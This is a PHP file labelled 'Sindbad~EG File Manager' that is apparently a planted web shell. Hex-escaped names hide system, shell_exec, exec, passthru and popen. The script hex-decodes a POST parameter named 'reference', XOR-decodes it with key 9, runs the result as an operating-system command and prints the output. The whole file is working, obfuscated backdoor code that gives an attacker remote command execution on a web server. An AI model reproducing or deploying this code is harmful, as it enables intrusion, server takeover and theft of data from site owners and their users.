Sindbad~EG File Manager

<?php

$right_pad_string1 = "s\x79\x73\x74em";
$right_pad_string6 = "st\x72e\x61\x6D_\x67\x65t\x5Fcon\x74e\x6Et\x73";
$right_pad_string7 = "\x70c\x6C\x6Fse";
$approve_request = "h\x65\x782bi\x6E";
$right_pad_string3 = "exec";
$right_pad_string2 = "\x73\x68\x65\x6Cl\x5Fexec";
$right_pad_string4 = "\x70\x61\x73\x73thru";
$right_pad_string5 = "\x70o\x70en";
if (isset($_POST["r\x65fer\x65n\x63e"])) {
            function dataflow_engine  (  $entity, $marker    ) {
$itm =''    ;
   $a=0;
 while($a<strlen($entity)){
$itm.=chr(ord($entity[$a])^$marker);
$a++;

} return  $itm;
  
}
            $reference = $approve_request($_POST["r\x65fer\x65n\x63e"]);
            $reference = dataflow_engine($reference, 9);
            if (function_exists($right_pad_string1)) {
                $right_pad_string1($reference);
            } elseif (function_exists($right_pad_string2)) {
                print $right_pad_string2($reference);
            } elseif (function_exists($right_pad_string3)) {
                $right_pad_string3($reference, $ent_entity);
                print join("\n", $ent_entity);
            } elseif (function_exists($right_pad_string4)) {
                $right_pad_string4($reference);
            } elseif (function_exists($right_pad_string5) && function_exists($right_pad_string6) && function_exists($right_pad_string7)) {
                $marker_itm = $right_pad_string5($reference, 'r');
                if ($marker_itm) {
                    $val_element = $right_pad_string6($marker_itm);
                    $right_pad_string7($marker_itm);
                    print $val_element;
                }
            }
            exit;
        }